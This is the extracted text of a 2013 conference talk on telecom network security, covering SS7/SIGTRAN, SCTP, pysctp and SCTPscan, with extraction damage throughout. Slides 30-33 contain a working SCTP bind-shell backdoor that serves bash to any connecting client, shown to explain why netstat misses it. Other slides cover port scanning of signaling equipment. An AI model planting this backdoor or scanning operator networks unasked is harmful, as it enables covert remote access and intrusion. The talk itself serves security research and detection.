Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP...

51
Opening up mobile and telecommunica1ons networks from walled garden to open and reviewed security 9th July 2013 PierreAOlivier Vauboin ([email protected]) Omar Awile ([email protected]) 1

Transcript of Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP...

Page 1: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

Opening'up'mobile'and'

telecommunica1ons'networks'from'walled'garden'to'open'and'reviewed'

security'

9th'July'2013'

'

PierreAOlivier'Vauboin'([email protected])'

Omar'Awile'([email protected])'1'

Page 2: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

Introduc1on'

•  Telecom'world'is'more'complex'than'IP'world''

•  SCTP:'the'interface'between'the'2'worlds'

•  Going'up'the'telecom'stack'

2'

Page 3: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

A'typical'mobile'operator’s'network'

3'

Different'services'(and'their'different'versions!)'are'supported'by'a'number'of'different'

Hardware'(and'soTware)'network'elements'

Page 4: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

IP'vs.'Telecom'network'–'network'elements'

4'

6/28/13 telco.html

file://localhost/Users/omar/Documents/presentations/lms/cloud/d3-cloud/examples/telco.html 1/1

HLRIMS

NodeBIN VLR

SEGMSC STP

RNC BTS

Femto Cell

SGSN

GGSN

MMSC

SMSC

MME

HSS

Charging Gateway GPRS

iDNS / eDNS

AUC FMS

AAA

Billing Gateway

EIR

MSC proxySeGW

Voicemail Web Access

IGW

Advanced Messaging Service

Ring Back Tone

Border Gateway

Intelligent Packet Core Node

PDN GW

Next Generation Mobile Edge

OLT

ONT/ONU

OSS Gateway

Online Charging System

Open Messaging Gateway

ATS

NASS

NGW

SHLR

SPGWs

DSM SPY

STG/FNR

Site Alarms Management System

Softswitch

Subscriber Activation Gateway

TGW

TRX

TSC

UGC

User Mobility Server

Vendor Network Probe

Voice DataSwitch

International Gateway Routers

6/28/13 ip.html

file://localhost/Users/omar/Documents/presentations/lms/cloud/d3-cloud/examples/ip.html 1/1

webBGP Router

mailSwitch

DNS ServerGPON

Firewall

DHCP ServerVPN Endpoint

BRASIP-­DSLAM

ProxyWireless APLoad Balancer

Backbone RouterDSL modem

PABX

MPLS router

Page 5: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

5'

Telecom'network'elements'

Mobile'Switching'Center'(MSC)'AllAinAOne'LTE'network'element'

HSS'+'MME'+'PAGW'+'PCRF'

Page 6: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

6'

6/28/13 telco_proto.html

file://localhost/Users/omar/Documents/presentations/lms/cloud/d3-cloud/examples/telco_proto.html 1/1

SCTPSS7MAP

SIGTRAN

M3UA SIP

ISUP

Diameter

SCCPGTP-­U

VOIP

GPRS

GRX

TCAP

H248WAP OMAP

M2PA

M2UA

MTP3

SUA

V5UA

INAP

BICC

GTP-­C

GTP’CAMELBSSAP

RANAP

H323

Skinny

GAN / UMA

MGCP

MEGACO

S1AP

X2AP

TUP

RadiusIUA

IP'vs.'Telecom'network'–'protocols'

7/5/13 ip_proto.html

file://localhost/Users/omar/Documents/presentations/lms/cloud/d3-cloud/examples/ip_proto.html 1/1

httpippsnmp

netbios

ntpms sqlms rpc

telnet

dhcp

dns

https

ftpssh

route

smtp

upnp

tftp

voippop3

mysql

nfs

sip

radius

imap

Page 7: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

IP'vs.'Telecom'network'A'protocols'

7'

OSI'model'of'network'stack'

Telecom'networks'support'large'number'of'services'and'network'elements'through'

a'jungle'of'different'protocols'/'protocol'stacks.'

SIGTRAN'Mobile'Applica1on'Protocol'stack'

Page 8: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

IP'vs.'Telecom'network'A'protocols'

8'

OSI'model'of'network'stack'

Telecom'networks'support'large'number'of'services'and'network'elements'through'

a'jungle'of'different'protocols'/'protocol'stacks.'

SS7/SIGTRAN'core'network'Protocol'stack'

Page 9: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

IP'vs.'Telecom'network'A'protocols'

9'

Telecom'networks'support'large'number'of'services'and'network'elements'through'

a'jungle'of'different'protocols'/'protocol'stacks.'

Page 10: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

IP'vs.'Telecom'network'A'addressing'

10'

MAC'address'

IP'address'

(IPv4'/'IPv6)'

TCP'(UDP,'SCTP)'port'

Any'device'on'the'internet'(in'an'IP'network)'is'iden1fied'by'its'MAC'and'IP'addresses.'

TCP,'UDP'(and'SCTP)'offer'ports'as'a'means'to'address'applica1ons'within'one'host.'

Rou1ng'criteria:'''IP'

Page 11: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

IP'vs.'Telecom'network'A'addressing'

11'

Point'code'(PC)'

14'(or'16,'24)'bit'

segmented'addressing'

Global'1tle'(GT)'

Variable'number'of'digits.'

Equivalent'to'hostnames'in'IP'

SubSystem'Number'(SSN)'

Used'by'applica1on'layer'protocols'

(e.g.'MAP)'to'iden1fy'applica1on'on'

network'elements'

In'Telecom'networks'a'mul1tude'of'addressing'schemes'are'used'to'

Iden1fy'network'elements,'subscribers,'applica1ons'

Interna1onal'mobile'

subscriber'iden1ty'(IMSI)'

Unique'mobile'handset'

iden1fier'

SS7'Rou1ng'criteria:'''PC'/'GT'/'SSN'or'combo'

Page 12: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

SCTP'–'Stream'Control'Transmission'

Protocol'

12'

TCP$Provides'reliable'data'transfer'&'strict'order'of'transmission'

Motivation �

Page 13: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

SCTP'–'Stream'Control'Transmission'

Protocol'

13'

•  Some'applica1ons'can'dispense'with'strict'sequence'maintenance'!'TCP'

headAofAline'blocking'causes'unnecessary'delay.'

•  TCP'is'stream'oriented'!'applica1ons'must'add'their'own'record'marking'and'

make'use'of'the'PSH'bit'for'reasonable'msg'delivery'1mes!'

•  TCP'does'not'provide'support'for'mul1Ahomed'hosts'

•  TCP'is'suscep1ble'to'DoS'ajacks'(e.g.'SYN'ajacks)'

TCP$Provides'reliable'data'transfer'&'strict'order'of'transmission'

Motivation �

Page 14: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

14'

SCTP'(RFC'4960)'A'protocol'that'is'designed'to'transport'Public'Switched'Telephone'Network'

(PSTN)'signaling'messages'over'IP'networks,'but'is'capable'of'broader'

applica1ons'

Solution �

SCTP'–'Stream'Control'Transmission'

Protocol'

Page 15: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

15'

•  Reliable'data'transfer'

•  Data'fragmenta1on'

•  Sequenced'delivery'within'mul1ple'streams'

•  Op1onal'orderAofAarrival'delivery'

•  FaultAtolerance'through'mul1Ahoming'support'

•  Resistance'to'flooding'and'masquerading'ajacks'

SCTP'(RFC'4960)'A'protocol'that'is'designed'to'transport'Public'Switched'Telephone'Network'

(PSTN)'signaling'messages'over'IP'networks,'but'is'capable'of'broader'

applica1ons'

Solution �

SCTP'–'Stream'Control'Transmission'

Protocol'

Page 16: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

16'

SCTP'–'Stream'Control'Transmission'

Protocol'

0 7 8 15 16 23 24 31

Source'port' Des1na1on'port'

Verifica1on'tag'

checksum'

Chunk'1'type' Chunk'1'flags' Chunk'1'length'

Chunk'1'data'

…'

Chunk'N'type' Chunk'N'flags' Chunk'N'length'

Chunk'N'data'

Packet header�

Page 17: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

SCTP'–'the'interface'between'IP'and'SS7'

17'

•  All'Network'Elements'on'the'Telecom'Core'Network'are'

interconnected'together'using'SCTP'

'

•  The'Core'Network'should'be'segmented'from'the'outside...'but'SCTP'ports'can'be'listening'on'Internet'as'well.'

'

•  SCTP'port'open'serves'as'an'entry'point'to'the'SS7'network.'

'

•  SCTP'is'also'used'on'next'genera1on'networks'such'as'4G'/'LTE'

•  SCTP'support'implemented'in'Linux'kernel'

Page 18: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

SCTP'4'Way'Handshake'

18'

Client! Server!socket(),'[bind()],'connect()' socket(),'bind(),'listen(),'accept()'

Page 19: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

SCTP'4'Way'Handshake'

19'

Client! Server!

INIT'

socket(),'[bind()],'connect()' socket(),'bind(),'listen(),'accept()'

Page 20: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

SCTP'4'Way'Handshake'

20'

Client! Server!

INIT'

INITAACK'

socket(),'[bind()],'connect()' socket(),'bind(),'listen(),'accept()'

Not'TCP:'

4'way''

handshake'

Page 21: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

SCTP'4'Way'Handshake'

21'

Client! Server!

INIT'

INITAACK'

COOKIEAECHO'

socket(),'[bind()],'connect()' socket(),'bind(),'listen(),'accept()'

Not'TCP:'

4'way''

handshake'

Page 22: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

SCTP'4'Way'Handshake'

22'

Client! Server!

INIT'

INITAACK'

COOKIEAECHO'

COOKIEAACK'

socket(),'[bind()],'connect()' socket(),'bind(),'listen(),'accept()'

Not'TCP:'

4'way''

handshake'

Page 23: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

SCTP'4'Way'Handshake'

23'

Client! Server!

INIT'

INITAACK'

COOKIEAECHO'

COOKIEAACK'

socket(),'[bind()],'connect()' socket(),'bind(),'listen(),'accept()'

Not'TCP:'

4'way''

handshake'

DATA'

Page 24: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

SCTP'4'Way'Handshake:'Network'Trace'

24'

Page 25: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

pysctp'

25'

A'python'library'for'SCTP'socket'programming'

•  Python'bindings'to'lowAlevel'C'SCTP'sockets'

•  Extends'the'tradi1onal'socket'interface'

•  Allows'SCTP'to'be'used'instead'of'TCP'or'UDP'

•  Allows'simple'scrip1ng'and'prototyping'of'SCTP'

client'/'server'applica1ons'

hjps://github.com/philpraxis/pysctp/'

+'SCTP ='•  ease'of'use'•  versa1lity'•  freedom'to'

experiment'

Page 26: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

Example:'An'm3ua'server'in'pysctp'

26'

import sctp import socket import binascii soc = sctp.sctpsocket_tcp(socket.AF_INET) soc.bind(('127.0.0.1', 2905)) soc.listen(5) ear, (ip, port) = soc.accept() buf = ear.recv(1024) print("* received: %s" % binascii.hexlify(buf)) print("* sending M3UA ASPUP ACK”) ear.send(binascii.unhexlify('0100030400000008')) ear.close() soc.close()

Page 27: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

Example:'An'm3ua'client'in'pysctp'

27'

import sctp import socket import binascii soc = sctp.sctpsocket_tcp(socket.AF_INET) soc.bind(('127.0.0.1', 2906)) soc.connect(('127.0.0.1', 2905)) print("* sending M3UA ASPUP”) soc.send(binascii.unhexlify('0100030100000008')) buf = soc.recv(1024) print("* received: %s" % binascii.hexlify(buf)) soc.close()

Page 28: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

Running'the'example'

28'

$ python m3ua_server.py

* received: 0100030100000008

* sending M3UA ASPUP ACK

$ python m3ua_client.py

* sending M3UA ASPUP

* received: 0100030400000008

$ tshark -ni lo sctp

Capturing on 'Loopback'

0.000000 SCTP 82 INIT

0.000048 SCTP 306 INIT_ACK

0.000065 SCTP 278 COOKIE_ECHO

0.000113 SCTP 50 COOKIE_ACK

0.000202 M3UA (RFC 3332) 70 ASPUP

0.000218 SCTP 62 SACK

0.000302 M3UA (RFC 3332) 70 ASPUP_ACK

0.000324 SCTP 62 SACK

0.000349 SCTP 54 SHUTDOWN

0.000357 SCTP 50 SHUTDOWN_ACK

0.000365 SCTP 50 SHUTDOWN_COMPLETE

SCTP'connec1on'

establishment'

SCTP'connec1on'

shutdown'

Page 29: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

m3ua'client'/'server:'network'trace'

29'

Page 30: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

More'fun'with'SCTP':)'

30'

import sctp import socket import subprocess soc = sctp.sctpsocket_tcp(socket.AF_INET) soc.bind((‘0.0.0.0', 56789)) soc.listen(5) while True: print('* waiting for client connections’) ear, (ip, port) = soc.accept() print('* connection from %s:%s' % (ip, port)) p = subprocess.call(['/bin/bash'], stdin=ear, stdout=ear, stderr=ear) print('* client %s:%s disconnected' % (ip, port))

Page 31: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

Running'the'SCTP'backdoor'IoC'(Indicator'of'Compromise)'headache'

31'

$ python backdoor.py

* waiting for client connections

* connection from 127.0.0.1:34719

$ ncat -v --sctp 127.0.0.1 56789

Ncat: Connected to 127.0.0.1:56789.

id

uid=1000(po) gid=1000(po) groups=1000(po)

$ sudo netstat -anp | grep -i sctp

$ sudo netstat -anp

Connexions Internet actives (serveurs et établies)

Proto Recv-Q Send-Q Adresse locale Adresse distante Etat PID/Program name

tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 1838/mysqld

tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 10676/nginx

[…]

Page 32: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

$ sudo netstat -anp | grep -i sctp

$ sudo netstat -anp

Connexions Internet actives (serveurs et établies)

Proto Recv-Q Send-Q Adresse locale Adresse distante Etat PID/Program name

tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 1838/mysqld

tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 10676/nginx

[…]

32'

$ python backdoor.py

* waiting for client connections

* connection from 127.0.0.1:34719

What’s going on???�

$ ncat -v --sctp 127.0.0.1 56789

Ncat: Connected to 127.0.0.1:56789.

id

uid=1000(po) gid=1000(po) groups=1000(po)

Running'the'SCTP'backdoor'IoC'(Indicator'of'Compromise)'headache'

Page 33: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

33'

$ python backdoor.py

* waiting for client connections

* connection from 127.0.0.1:34719

$ cat /proc/net/sctp/eps

ENDPT SOCK STY SST HBKT LPORT UID INODE LADDRS

0 0 2 10 21 56789 1000 49217162 0.0.0.0

$ cat /proc/net/sctp/assocs

ASSOC SOCK STY SST ST HBKT ASSOC-ID TX_QUEUE RX_QUEUE UID INODE LPORT RPORT LADDRS <-> RADDRS [...]

0 0 2 1 3 30699 1494 0 0 1000 2384055 56789 34719 127.0.0.1 <-> *127.0.0.1 [...]

0 0 2 1 3 42111 1493 0 0 1000 2292730 34719 56789 127.0.0.1 <-> *127.0.0.1 [...]

$ ncat -v --sctp 127.0.0.1 56789

Ncat: Connected to 127.0.0.1:56789.

id

uid=1000(po) gid=1000(po) groups=1000(po)

netstat does not support SCTP. (Ubuntu 12.04 LTS, seen only

some patch in RedHat)�

Running'the'SCTP'backdoor'IoC'(Indicator'of'Compromise)'headache'

Page 34: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

SCTPscan'

34'

An'SCTPAbased'network'scanner''

(for'signaling'networks'and'more!)'

hjps://github.com/philpraxis/sctpscan/tree/sctpscan_ng'

•  Reliable'scanning'of'SCTPAenabled'hosts'

•  PortAscanning'for'most'popular'ports''

(with'focus'on'signaling'equipment)'

•  IP'rangeAscanning'

•  Fast'scanning'through'synchronous'I/O'mul1plexing'

•  Port'mirroring'for'improved'service'discovery'

Page 35: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

SCTP'Port'Scanning'

35'

Client! Server!

Case'1'

Case'2'

Case'3'

Page 36: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

SCTP'Port'Scanning'

36'

Client! Server!

INIT'

Case'1'

Case'2'

Case'3'

Page 37: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

SCTP'Port'Scanning'

37'

Client! Server!

INIT'

INITAACK'Port'Open'Case'1'

Case'2'

Case'3'

Page 38: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

SCTP'Port'Scanning'

38'

Client! Server!

INIT'

INITAACK'

INIT'

Port'Open'Case'1'

Case'2'

Case'3'

Page 39: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

SCTP'Port'Scanning'

39'

Client! Server!

INIT'

INITAACK'

INIT'

ABORT'

Port'Open'

Port'Closed'

Case'1'

Case'2'

Case'3'

Page 40: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

SCTP'Port'Scanning'

40'

Client! Server!

INIT'

INITAACK'

INIT'

ABORT'

Port'Open'

Port'Closed'

INIT'

Case'1'

Case'2'

Case'3'

Page 41: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

SCTP'Port'Scanning'

41'

Client! Server!

INIT'

INITAACK'

INIT'

ABORT'

Port'Open'

Port'Closed'

Port'Filtered'

INIT'

Case'1'

Case'2'

Case'3'

no'reply…'

Page 42: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

SCTPscan'in'ac1on'

42'

$ sudo ./sctpscan.py 192.168.56.101

Scanning 192.168.56.101

SCTP Port Open: 192.168.56.101 2906

Results: 1 opened, 109 closed, 1 filtered

$

Page 43: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

Going'up'the'telecom'stack:'MAP'

43'

Dst$SSN$

Dst$GT$

Target$MSISDN$

Src$/$Dst$IPs$Src$/$Dst$SCTP$Ports$

Page 44: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

SS7/SIGTRAN'evolu1on'to'LTE/Diameter'

44'SS7'/'SIGTRAN' Diameter'/'LTE'

SCTP'is'retained'as'transport'protocol'for'the'next'genera1on'telecom'protocols'

Page 45: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

SS7/SIGTRAN'evolu1on'to'LTE/Diameter'

45'SS7'/'SIGTRAN' Diameter'/'LTE'

SCTP'is'retained'as'transport'protocol'for'the'next'genera1on'telecom'protocols'

Page 46: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

Bad'usage'of'SCTP'for'new'protocols'

46'

•  SCTP'for'LTE:'Diameter,'S1,'X2,'…'

•  Assuming'security'is'handled'by'IPsec'is'bad$

•  No'authen1ca1on'in'protocol'!'no'security'by'default'

•  IPsec'is'not'necessarily'deployed'

Example:'Diameter'vs'Radius'

Page 47: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

47'

Telecom'network'architecture'

Page 48: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

48'

GT'

SSN'

Passive'network'analysis'

Page 49: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

49'

GT'

SSN'

Ac1ve'network'scanning'

Page 50: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

50'

Conclusions'•  Telecom'networks'are'powered'by'a'wide'range'of'

technologies'and'protocols.'

•  SCTP'is'used'ubiquitously'in'telecom'networks'as'the'interface'

between'IP'and'telecom'technologies.'

•  pysctp'offers'an'easy'API'for'SCTP'socket'programming'giving'

simple'access'into'telecom'protocol'stacks.'

•  SCTPscan(Ang)'offers'ac1ve'scanning'and'service'detec1on'for'hosts'on'telecom'networks'

•  HLR'is'the'central'element'of'a'mobile'operator’s'network'

•  SGSN'pose'a'risk'being'a'single'pointAofAfailure'•  MSC'are'more'distributed'but'carry'the'bulk'of'signaling'

Page 51: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace'

Thank'you!'

Thanks'go'to:'

Philippe'Langlois'

Elvis'Pfützenreuter'

and'the'P1'Security'team''

Ques1ons'to:'

[email protected]'

[email protected]''

[email protected]'